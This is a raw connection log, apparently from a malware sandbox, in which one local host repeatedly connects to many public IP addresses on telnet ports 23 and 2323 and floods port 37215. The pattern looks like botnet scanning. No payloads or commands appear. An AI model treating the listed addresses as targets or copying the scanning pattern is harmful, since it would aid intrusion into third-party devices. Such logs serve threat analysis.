Dec 4, 2024 20:34:34.269505024 CET	47552	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:34.269876003 CET	23	57672	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:34.269897938 CET	47584	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:34.270281076 CET	57672	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:34.270565033 CET	57704	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:34.271028996 CET	23	40772	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:34.271085024 CET	40772	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:34.271413088 CET	40804	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:34.272006989 CET	2323	39948	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:34.272192001 CET	23	38236	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:34.272206068 CET	2323	39980	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:34.272247076 CET	39980	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:34.272249937 CET	38236	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:34.272305012 CET	2323	48508	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:34.272427082 CET	23	42754	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:34.272545099 CET	38268	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:34.272921085 CET	48508	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:34.273210049 CET	48540	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:34.273577929 CET	42754	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:34.273868084 CET	42786	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:34.286475897 CET	23	52614	8.194.249.0	192.168.2.14
Dec 4, 2024 20:34:34.286551952 CET	52614	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:34.336886883 CET	23	34924	87.158.11.91	192.168.2.14
Dec 4, 2024 20:34:34.337367058 CET	23	35080	87.158.11.91	192.168.2.14
Dec 4, 2024 20:34:34.337487936 CET	35080	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:34.337873936 CET	23	42076	141.195.64.207	192.168.2.14
Dec 4, 2024 20:34:34.338083029 CET	23	42232	141.195.64.207	192.168.2.14
Dec 4, 2024 20:34:34.338161945 CET	42232	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:34.338515997 CET	2323	42184	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:34.338854074 CET	2323	42340	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:34.338907957 CET	42340	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:34.339142084 CET	23	39058	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:34.339411974 CET	23	39214	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:34.339457989 CET	39214	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:34.339785099 CET	2323	60382	149.210.117.222	192.168.2.14
Dec 4, 2024 20:34:34.340044022 CET	2323	60538	149.210.117.222	192.168.2.14
Dec 4, 2024 20:34:34.340089083 CET	60538	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:34.340418100 CET	23	58034	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:34.389457941 CET	23	47552	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:34.389756918 CET	23	47584	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:34.389843941 CET	47584	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:34.390094995 CET	23	57672	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:34.390520096 CET	23	57704	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:34.390580893 CET	57704	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:34.391125917 CET	23	40772	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:34.391242027 CET	23	40804	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:34.391321898 CET	40804	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:34.391964912 CET	23	38236	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:34.392249107 CET	2323	39980	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:34.392258883 CET	23	38268	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:34.392304897 CET	38268	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:34.392328024 CET	39980	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:34.392610073 CET	2323	48508	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:34.392883062 CET	40006	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:34.393019915 CET	2323	48540	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:34.393105984 CET	48540	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:34.393348932 CET	23	42754	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:34.393790007 CET	23	42786	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:34.393840075 CET	42786	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:34.458158970 CET	23	42232	141.195.64.207	192.168.2.14
Dec 4, 2024 20:34:34.458306074 CET	42232	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:34.458865881 CET	42256	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:34.458997011 CET	2323	42340	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:34.459280968 CET	42340	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:34.459532022 CET	23	39214	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:34.459572077 CET	42364	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:34.459970951 CET	39214	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:34.460105896 CET	2323	60538	149.210.117.222	192.168.2.14
Dec 4, 2024 20:34:34.460253954 CET	39238	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:34.460644007 CET	60538	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:34.460971117 CET	60562	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:34.510513067 CET	23	57704	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:34.510669947 CET	57704	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:34.511141062 CET	57724	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:34.511293888 CET	23	40804	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:34.511573076 CET	40804	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:34.511885881 CET	40824	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:34.512067080 CET	2323	39980	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:34.512154102 CET	23	38268	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:34.512267113 CET	38268	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:34.512548923 CET	38288	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:34.512701988 CET	2323	40006	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:34.512743950 CET	40006	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:34.513067961 CET	2323	48540	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:34.513118029 CET	48540	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:34.513386011 CET	48560	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:34.513814926 CET	23	42786	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:34.513864040 CET	42786	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:34.514132977 CET	42806	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:34.578125000 CET	23	42232	141.195.64.207	192.168.2.14
Dec 4, 2024 20:34:34.578682899 CET	23	42256	141.195.64.207	192.168.2.14
Dec 4, 2024 20:34:34.578766108 CET	42256	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:34.579531908 CET	2323	42340	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:34.579591036 CET	2323	42364	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:34.579632044 CET	42364	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:34.580941916 CET	23	39214	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:34.581027031 CET	23	39238	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:34.581038952 CET	2323	60538	149.210.117.222	192.168.2.14
Dec 4, 2024 20:34:34.581048965 CET	2323	60562	149.210.117.222	192.168.2.14
Dec 4, 2024 20:34:34.581072092 CET	39238	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:34.581104994 CET	60562	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:34.631450891 CET	23	57704	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:34.632026911 CET	23	57724	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:34.632136106 CET	57724	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:34.632277012 CET	23	40804	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:34.632433891 CET	23	40824	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:34.632478952 CET	40824	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:34.632852077 CET	23	38268	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:34.633234024 CET	23	38288	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:34.633296967 CET	38288	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:34.633505106 CET	2323	48540	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:34.633744955 CET	2323	48560	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:34.633791924 CET	48560	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:34.633858919 CET	2323	40006	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:34.633919954 CET	40006	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:34.634108067 CET	23	42786	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:34.634351015 CET	40026	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:34.634370089 CET	23	42806	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:34.634404898 CET	42806	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:34.666500092 CET	60275	37215	192.168.2.14	156.235.86.196
Dec 4, 2024 20:34:34.666500092 CET	60275	37215	192.168.2.14	156.125.121.36
Dec 4, 2024 20:34:34.666500092 CET	60275	37215	192.168.2.14	41.70.211.68
Dec 4, 2024 20:34:34.666500092 CET	60275	37215	192.168.2.14	156.251.83.218
Dec 4, 2024 20:34:34.666508913 CET	60275	37215	192.168.2.14	197.57.80.139
Dec 4, 2024 20:34:34.666508913 CET	60275	37215	192.168.2.14	197.212.128.183
Dec 4, 2024 20:34:34.666510105 CET	60275	37215	192.168.2.14	41.137.76.138
Dec 4, 2024 20:34:34.666510105 CET	60275	37215	192.168.2.14	156.26.60.186
Dec 4, 2024 20:34:34.666517973 CET	60275	37215	192.168.2.14	197.150.131.152
Dec 4, 2024 20:34:34.666523933 CET	60275	37215	192.168.2.14	41.33.244.153
Dec 4, 2024 20:34:34.666523933 CET	60275	37215	192.168.2.14	197.103.13.13
Dec 4, 2024 20:34:34.666523933 CET	60275	37215	192.168.2.14	41.191.169.69
Dec 4, 2024 20:34:34.666527987 CET	60275	37215	192.168.2.14	197.171.113.254
Dec 4, 2024 20:34:34.666523933 CET	60275	37215	192.168.2.14	156.197.175.158
Dec 4, 2024 20:34:34.666531086 CET	60275	37215	192.168.2.14	156.84.140.18
Dec 4, 2024 20:34:34.666527987 CET	60275	37215	192.168.2.14	41.16.74.27
Dec 4, 2024 20:34:34.666531086 CET	60275	37215	192.168.2.14	41.209.252.161
Dec 4, 2024 20:34:34.666531086 CET	60275	37215	192.168.2.14	197.230.114.235
Dec 4, 2024 20:34:34.666527987 CET	60275	37215	192.168.2.14	41.124.245.197
Dec 4, 2024 20:34:34.666531086 CET	60275	37215	192.168.2.14	156.16.70.72
Dec 4, 2024 20:34:34.666536093 CET	60275	37215	192.168.2.14	41.69.3.230
Dec 4, 2024 20:34:34.666536093 CET	60275	37215	192.168.2.14	197.107.186.146
Dec 4, 2024 20:34:34.666536093 CET	60275	37215	192.168.2.14	197.240.225.40
Dec 4, 2024 20:34:34.666532993 CET	60275	37215	192.168.2.14	41.125.57.226
Dec 4, 2024 20:34:34.666546106 CET	60275	37215	192.168.2.14	156.226.100.188
Dec 4, 2024 20:34:34.666559935 CET	60275	37215	192.168.2.14	197.54.193.91
Dec 4, 2024 20:34:34.666570902 CET	60275	37215	192.168.2.14	156.73.55.186
Dec 4, 2024 20:34:34.666574001 CET	60275	37215	192.168.2.14	41.195.248.193
Dec 4, 2024 20:34:34.666574955 CET	60275	37215	192.168.2.14	156.102.41.67
Dec 4, 2024 20:34:34.666574001 CET	60275	37215	192.168.2.14	41.156.205.213
Dec 4, 2024 20:34:34.666574001 CET	60275	37215	192.168.2.14	41.127.162.128
Dec 4, 2024 20:34:34.666574001 CET	60275	37215	192.168.2.14	156.154.217.146
Dec 4, 2024 20:34:34.666579008 CET	60275	37215	192.168.2.14	156.161.250.131
Dec 4, 2024 20:34:34.666579008 CET	60275	37215	192.168.2.14	156.143.141.9
Dec 4, 2024 20:34:34.666579962 CET	60275	37215	192.168.2.14	197.255.145.155
Dec 4, 2024 20:34:34.666579962 CET	60275	37215	192.168.2.14	41.75.60.108
Dec 4, 2024 20:34:34.666580915 CET	60275	37215	192.168.2.14	41.82.57.198
Dec 4, 2024 20:34:34.666594982 CET	60275	37215	192.168.2.14	41.180.104.173
Dec 4, 2024 20:34:34.666600943 CET	60275	37215	192.168.2.14	41.200.42.134
Dec 4, 2024 20:34:34.666604042 CET	60275	37215	192.168.2.14	197.172.144.20
Dec 4, 2024 20:34:34.666606903 CET	60275	37215	192.168.2.14	156.65.138.175
Dec 4, 2024 20:34:34.666604996 CET	60275	37215	192.168.2.14	156.181.231.150
Dec 4, 2024 20:34:34.666608095 CET	60275	37215	192.168.2.14	41.140.244.32
Dec 4, 2024 20:34:34.666604996 CET	60275	37215	192.168.2.14	156.108.190.202
Dec 4, 2024 20:34:34.666604996 CET	60275	37215	192.168.2.14	156.80.220.47
Dec 4, 2024 20:34:34.666613102 CET	60275	37215	192.168.2.14	197.43.118.108
Dec 4, 2024 20:34:34.666615009 CET	60275	37215	192.168.2.14	197.112.124.47
Dec 4, 2024 20:34:34.666615009 CET	60275	37215	192.168.2.14	197.11.57.114
Dec 4, 2024 20:34:34.666620970 CET	60275	37215	192.168.2.14	41.57.168.127
Dec 4, 2024 20:34:34.666620970 CET	60275	37215	192.168.2.14	197.155.203.212
Dec 4, 2024 20:34:34.666630030 CET	60275	37215	192.168.2.14	197.2.239.218
Dec 4, 2024 20:34:34.666630030 CET	60275	37215	192.168.2.14	41.163.125.100
Dec 4, 2024 20:34:34.666631937 CET	60275	37215	192.168.2.14	156.185.77.46
Dec 4, 2024 20:34:34.666631937 CET	60275	37215	192.168.2.14	197.189.155.130
Dec 4, 2024 20:34:34.666632891 CET	60275	37215	192.168.2.14	197.137.105.166
Dec 4, 2024 20:34:34.666632891 CET	60275	37215	192.168.2.14	41.179.98.69
Dec 4, 2024 20:34:34.666632891 CET	60275	37215	192.168.2.14	156.198.168.34
Dec 4, 2024 20:34:34.666645050 CET	60275	37215	192.168.2.14	197.154.198.24
Dec 4, 2024 20:34:34.666646004 CET	60275	37215	192.168.2.14	197.67.89.70
Dec 4, 2024 20:34:34.666646004 CET	60275	37215	192.168.2.14	41.23.180.36
Dec 4, 2024 20:34:34.666646957 CET	60275	37215	192.168.2.14	156.47.228.27
Dec 4, 2024 20:34:34.666651011 CET	60275	37215	192.168.2.14	41.181.147.221
Dec 4, 2024 20:34:34.666651011 CET	60275	37215	192.168.2.14	197.178.251.145
Dec 4, 2024 20:34:34.666652918 CET	60275	37215	192.168.2.14	197.132.82.221
Dec 4, 2024 20:34:34.666652918 CET	60275	37215	192.168.2.14	156.199.11.191
Dec 4, 2024 20:34:34.666652918 CET	60275	37215	192.168.2.14	197.183.222.188
Dec 4, 2024 20:34:34.666655064 CET	60275	37215	192.168.2.14	197.46.177.60
Dec 4, 2024 20:34:34.666656017 CET	60275	37215	192.168.2.14	41.49.78.146
Dec 4, 2024 20:34:34.666657925 CET	60275	37215	192.168.2.14	156.141.129.130
Dec 4, 2024 20:34:34.666657925 CET	60275	37215	192.168.2.14	197.173.40.132
Dec 4, 2024 20:34:34.666657925 CET	60275	37215	192.168.2.14	41.133.171.246
Dec 4, 2024 20:34:34.666660070 CET	60275	37215	192.168.2.14	156.26.175.97
Dec 4, 2024 20:34:34.666661978 CET	60275	37215	192.168.2.14	156.34.255.205
Dec 4, 2024 20:34:34.666671038 CET	60275	37215	192.168.2.14	41.217.205.153
Dec 4, 2024 20:34:34.666671038 CET	60275	37215	192.168.2.14	41.26.55.77
Dec 4, 2024 20:34:34.666671991 CET	60275	37215	192.168.2.14	156.28.225.45
Dec 4, 2024 20:34:34.666672945 CET	60275	37215	192.168.2.14	197.147.245.36
Dec 4, 2024 20:34:34.666675091 CET	60275	37215	192.168.2.14	197.224.81.212
Dec 4, 2024 20:34:34.666675091 CET	60275	37215	192.168.2.14	197.234.54.48
Dec 4, 2024 20:34:34.666676044 CET	60275	37215	192.168.2.14	156.101.249.237
Dec 4, 2024 20:34:34.666676044 CET	60275	37215	192.168.2.14	197.105.247.221
Dec 4, 2024 20:34:34.666675091 CET	60275	37215	192.168.2.14	41.19.160.201
Dec 4, 2024 20:34:34.666682005 CET	60275	37215	192.168.2.14	156.106.118.34
Dec 4, 2024 20:34:34.666682005 CET	60275	37215	192.168.2.14	156.128.238.119
Dec 4, 2024 20:34:34.666683912 CET	60275	37215	192.168.2.14	156.181.207.15
Dec 4, 2024 20:34:34.666683912 CET	60275	37215	192.168.2.14	41.36.102.39
Dec 4, 2024 20:34:34.666687965 CET	60275	37215	192.168.2.14	41.102.33.208
Dec 4, 2024 20:34:34.666690111 CET	60275	37215	192.168.2.14	156.85.105.228
Dec 4, 2024 20:34:34.666690111 CET	60275	37215	192.168.2.14	156.121.201.94
Dec 4, 2024 20:34:34.666696072 CET	60275	37215	192.168.2.14	156.4.24.93
Dec 4, 2024 20:34:34.666697979 CET	60275	37215	192.168.2.14	197.187.8.169
Dec 4, 2024 20:34:34.666697979 CET	60275	37215	192.168.2.14	197.169.195.204
Dec 4, 2024 20:34:34.666697979 CET	60275	37215	192.168.2.14	41.76.23.252
Dec 4, 2024 20:34:34.666697979 CET	60275	37215	192.168.2.14	156.188.16.218
Dec 4, 2024 20:34:34.666697979 CET	60275	37215	192.168.2.14	156.34.157.123
Dec 4, 2024 20:34:34.666697979 CET	60275	37215	192.168.2.14	156.104.96.134
Dec 4, 2024 20:34:34.666702032 CET	60275	37215	192.168.2.14	41.169.23.10
Dec 4, 2024 20:34:34.666707993 CET	60275	37215	192.168.2.14	156.52.22.249
Dec 4, 2024 20:34:34.666708946 CET	60275	37215	192.168.2.14	41.167.214.124
Dec 4, 2024 20:34:34.666709900 CET	60275	37215	192.168.2.14	41.96.190.174
Dec 4, 2024 20:34:34.666709900 CET	60275	37215	192.168.2.14	197.190.20.63
Dec 4, 2024 20:34:34.666712046 CET	60275	37215	192.168.2.14	156.11.169.83
Dec 4, 2024 20:34:34.666717052 CET	60275	37215	192.168.2.14	197.110.180.220
Dec 4, 2024 20:34:34.666717052 CET	60275	37215	192.168.2.14	41.196.143.152
Dec 4, 2024 20:34:34.666717052 CET	60275	37215	192.168.2.14	156.122.64.125
Dec 4, 2024 20:34:34.666718960 CET	60275	37215	192.168.2.14	156.83.82.31
Dec 4, 2024 20:34:34.666728020 CET	60275	37215	192.168.2.14	156.66.174.135
Dec 4, 2024 20:34:34.666728020 CET	60275	37215	192.168.2.14	197.29.135.48
Dec 4, 2024 20:34:34.666729927 CET	60275	37215	192.168.2.14	197.234.212.142
Dec 4, 2024 20:34:34.666737080 CET	60275	37215	192.168.2.14	197.42.79.57
Dec 4, 2024 20:34:34.666738033 CET	60275	37215	192.168.2.14	156.218.130.149
Dec 4, 2024 20:34:34.666738987 CET	60275	37215	192.168.2.14	156.67.141.43
Dec 4, 2024 20:34:34.666744947 CET	60275	37215	192.168.2.14	41.31.152.212
Dec 4, 2024 20:34:34.666753054 CET	60275	37215	192.168.2.14	41.134.66.119
Dec 4, 2024 20:34:34.666758060 CET	60275	37215	192.168.2.14	156.206.150.161
Dec 4, 2024 20:34:34.666762114 CET	60275	37215	192.168.2.14	197.122.58.162
Dec 4, 2024 20:34:34.666779995 CET	60275	37215	192.168.2.14	156.63.180.12
Dec 4, 2024 20:34:34.666779995 CET	60275	37215	192.168.2.14	41.199.231.213
Dec 4, 2024 20:34:34.666779995 CET	60275	37215	192.168.2.14	197.25.222.122
Dec 4, 2024 20:34:34.666779995 CET	60275	37215	192.168.2.14	197.176.136.144
Dec 4, 2024 20:34:34.666779995 CET	60275	37215	192.168.2.14	41.104.178.94
Dec 4, 2024 20:34:34.666779995 CET	60275	37215	192.168.2.14	197.79.249.149
Dec 4, 2024 20:34:34.666783094 CET	60275	37215	192.168.2.14	41.207.40.141
Dec 4, 2024 20:34:34.666785955 CET	60275	37215	192.168.2.14	197.182.89.228
Dec 4, 2024 20:34:34.666788101 CET	60275	37215	192.168.2.14	197.181.78.147
Dec 4, 2024 20:34:34.666790009 CET	60275	37215	192.168.2.14	197.233.154.161
Dec 4, 2024 20:34:34.666790962 CET	60275	37215	192.168.2.14	156.216.118.238
Dec 4, 2024 20:34:34.666793108 CET	60275	37215	192.168.2.14	197.202.5.19
Dec 4, 2024 20:34:34.666794062 CET	60275	37215	192.168.2.14	156.218.87.107
Dec 4, 2024 20:34:34.666800022 CET	60275	37215	192.168.2.14	197.113.130.141
Dec 4, 2024 20:34:34.666810036 CET	60275	37215	192.168.2.14	156.247.78.121
Dec 4, 2024 20:34:34.666814089 CET	60275	37215	192.168.2.14	156.85.237.53
Dec 4, 2024 20:34:34.666826963 CET	60275	37215	192.168.2.14	197.24.95.113
Dec 4, 2024 20:34:34.666826963 CET	60275	37215	192.168.2.14	197.73.198.107
Dec 4, 2024 20:34:34.666831970 CET	60275	37215	192.168.2.14	197.1.131.171
Dec 4, 2024 20:34:34.666837931 CET	60275	37215	192.168.2.14	156.121.122.23
Dec 4, 2024 20:34:34.666846991 CET	60275	37215	192.168.2.14	197.168.159.19
Dec 4, 2024 20:34:34.666847944 CET	60275	37215	192.168.2.14	156.48.113.97
Dec 4, 2024 20:34:34.666848898 CET	60275	37215	192.168.2.14	197.136.2.213
Dec 4, 2024 20:34:34.666850090 CET	60275	37215	192.168.2.14	197.102.107.87
Dec 4, 2024 20:34:34.666850090 CET	60275	37215	192.168.2.14	156.130.123.11
Dec 4, 2024 20:34:34.666852951 CET	60275	37215	192.168.2.14	156.11.220.157
Dec 4, 2024 20:34:34.666857958 CET	60275	37215	192.168.2.14	41.37.51.209
Dec 4, 2024 20:34:34.666857958 CET	60275	37215	192.168.2.14	41.111.74.34
Dec 4, 2024 20:34:34.666861057 CET	60275	37215	192.168.2.14	197.1.41.189
Dec 4, 2024 20:34:34.666862011 CET	60275	37215	192.168.2.14	197.11.60.183
Dec 4, 2024 20:34:34.666874886 CET	60275	37215	192.168.2.14	156.147.227.174
Dec 4, 2024 20:34:34.666878939 CET	60275	37215	192.168.2.14	156.27.32.46
Dec 4, 2024 20:34:34.666879892 CET	60275	37215	192.168.2.14	156.111.183.25
Dec 4, 2024 20:34:34.666883945 CET	60275	37215	192.168.2.14	156.33.25.202
Dec 4, 2024 20:34:34.666889906 CET	60275	37215	192.168.2.14	41.125.134.86
Dec 4, 2024 20:34:34.666892052 CET	60275	37215	192.168.2.14	41.25.14.138
Dec 4, 2024 20:34:34.666898966 CET	60275	37215	192.168.2.14	41.140.155.113
Dec 4, 2024 20:34:34.666913033 CET	60275	37215	192.168.2.14	156.107.106.224
Dec 4, 2024 20:34:34.666913986 CET	60275	37215	192.168.2.14	197.129.188.236
Dec 4, 2024 20:34:34.666918993 CET	60275	37215	192.168.2.14	197.189.19.244
Dec 4, 2024 20:34:34.666920900 CET	60275	37215	192.168.2.14	156.37.133.194
Dec 4, 2024 20:34:34.666928053 CET	60275	37215	192.168.2.14	41.161.28.23
Dec 4, 2024 20:34:34.666938066 CET	60275	37215	192.168.2.14	156.105.155.183
Dec 4, 2024 20:34:34.666939974 CET	60275	37215	192.168.2.14	197.85.222.249
Dec 4, 2024 20:34:34.699466944 CET	2323	42364	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:34.699579000 CET	42364	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:34.700028896 CET	42382	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:34.701251984 CET	23	39238	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:34.701304913 CET	39238	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:34.701598883 CET	39256	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:34.753900051 CET	23	57724	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:34.754125118 CET	57724	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:34.754317045 CET	23	40824	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:34.754390001 CET	40824	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:34.754623890 CET	57740	23	192.168.2.14	37.10.115.221
Dec 4, 2024 20:34:34.754996061 CET	23	38288	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:34.755028963 CET	40824	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:34.755327940 CET	40840	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:34.755367041 CET	2323	48560	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:34.755379915 CET	2323	40006	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:34.755732059 CET	38288	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:34.755831957 CET	2323	40026	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:34.755881071 CET	40026	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:34.756016016 CET	38304	23	192.168.2.14	90.246.110.18
Dec 4, 2024 20:34:34.756026030 CET	23	42806	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:34.756372929 CET	48560	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:34.756673098 CET	48576	2323	192.168.2.14	128.245.230.46
Dec 4, 2024 20:34:34.757076025 CET	42806	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:34.757363081 CET	42822	23	192.168.2.14	157.238.54.192
Dec 4, 2024 20:34:34.787431002 CET	37215	60275	156.251.83.218	192.168.2.14
Dec 4, 2024 20:34:34.787442923 CET	37215	60275	156.235.86.196	192.168.2.14
Dec 4, 2024 20:34:34.787451982 CET	37215	60275	156.125.121.36	192.168.2.14
Dec 4, 2024 20:34:34.787461996 CET	37215	60275	41.70.211.68	192.168.2.14
Dec 4, 2024 20:34:34.787471056 CET	37215	60275	197.150.131.152	192.168.2.14
Dec 4, 2024 20:34:34.787483931 CET	37215	60275	197.57.80.139	192.168.2.14
Dec 4, 2024 20:34:34.787492990 CET	37215	60275	197.212.128.183	192.168.2.14
Dec 4, 2024 20:34:34.787503004 CET	37215	60275	41.137.76.138	192.168.2.14
Dec 4, 2024 20:34:34.787507057 CET	37215	60275	156.26.60.186	192.168.2.14
Dec 4, 2024 20:34:34.787509918 CET	60275	37215	192.168.2.14	156.235.86.196
Dec 4, 2024 20:34:34.787509918 CET	60275	37215	192.168.2.14	156.125.121.36
Dec 4, 2024 20:34:34.787511110 CET	60275	37215	192.168.2.14	156.251.83.218
Dec 4, 2024 20:34:34.787513971 CET	60275	37215	192.168.2.14	197.57.80.139
Dec 4, 2024 20:34:34.787525892 CET	60275	37215	192.168.2.14	197.150.131.152
Dec 4, 2024 20:34:34.787527084 CET	60275	37215	192.168.2.14	41.70.211.68
Dec 4, 2024 20:34:34.787561893 CET	60275	37215	192.168.2.14	197.212.128.183
Dec 4, 2024 20:34:34.787564039 CET	60275	37215	192.168.2.14	41.137.76.138
Dec 4, 2024 20:34:34.787564039 CET	60275	37215	192.168.2.14	156.26.60.186
Dec 4, 2024 20:34:34.787617922 CET	37215	60275	41.125.57.226	192.168.2.14
Dec 4, 2024 20:34:34.787628889 CET	37215	60275	197.107.186.146	192.168.2.14
Dec 4, 2024 20:34:34.787637949 CET	37215	60275	41.69.3.230	192.168.2.14
Dec 4, 2024 20:34:34.787647963 CET	37215	60275	197.240.225.40	192.168.2.14
Dec 4, 2024 20:34:34.787657976 CET	37215	60275	156.84.140.18	192.168.2.14
Dec 4, 2024 20:34:34.787666082 CET	60275	37215	192.168.2.14	197.107.186.146
Dec 4, 2024 20:34:34.787667036 CET	60275	37215	192.168.2.14	41.125.57.226
Dec 4, 2024 20:34:34.787667036 CET	37215	60275	156.226.100.188	192.168.2.14
Dec 4, 2024 20:34:34.787672043 CET	37215	60275	197.171.113.254	192.168.2.14
Dec 4, 2024 20:34:34.787673950 CET	60275	37215	192.168.2.14	41.69.3.230
Dec 4, 2024 20:34:34.787676096 CET	60275	37215	192.168.2.14	197.240.225.40
Dec 4, 2024 20:34:34.787677050 CET	37215	60275	41.209.252.161	192.168.2.14
Dec 4, 2024 20:34:34.787683010 CET	37215	60275	41.16.74.27	192.168.2.14
